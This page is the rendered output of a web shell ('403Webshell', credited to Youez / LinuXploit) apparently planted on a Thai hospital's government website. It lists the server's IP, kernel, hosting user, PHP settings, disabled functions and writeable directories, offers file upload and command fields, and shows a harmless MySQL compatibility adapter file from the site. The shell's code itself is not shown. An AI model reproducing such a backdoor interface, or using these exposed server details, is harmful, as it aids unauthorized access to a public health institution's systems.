403Webshell
Server IP : 172.67.189.169  /  Your IP : 216.73.216.59
Web Server : Apache/2
System : Linux cat167-197.static.lnwhostname.com 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64
User : paphayomho ( 1042)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/paphayomho/domains/paphayomhospital.go.th/private_html/HHC/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/paphayomho/domains/paphayomhospital.go.th/private_html/HHC/mysql_adapter_by_pathosting.php
<?php

if (!function_exists('mysql_connect')) {

    $DB_CONNECTION = null;

    function mysql_connect ($host, $username, $password) {
        global $DB_CONNECTION;
        $DB_CONNECTION = mysqli_connect($host, $username, $password);
        return $DB_CONNECTION;
    }

    function mysql_pconnect ($server, $username, $password) {
        global $DB_CONNECTION;
        $DB_CONNECTION = mysqli_connect('p:'. $server, $username, $password);
        return $DB_CONNECTION;
    }

    function mysql_select_db ($database) {
        global $DB_CONNECTION;
        return mysqli_select_db($DB_CONNECTION, $database);
    }

    function mysql_query ($sql) {
        global $DB_CONNECTION;
        return mysqli_query($DB_CONNECTION, $sql);
    }

    function mysql_fetch_array ($result) {
        return mysqli_fetch_array($result);
    }

    function mysql_fetch_row ($result) {
        return mysqli_fetch_row($result);
    }

    function mysql_fetch_assoc ($result) {
        return mysqli_fetch_assoc($result);
    }

    function mysql_num_rows ($result) {
        return mysqli_num_rows($result);
    }

    function mysql_real_escape_string ($escapestr)
    {
        global $DB_CONNECTION;
        return mysqli_real_escape_string($DB_CONNECTION, $escapestr);
    }

    function mysql_close ()
    {
        global $DB_CONNECTION;
        return mysqli_close($DB_CONNECTION);
    }

    function mysql_free_result ($result)
    {
        return mysqli_free_result($result);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit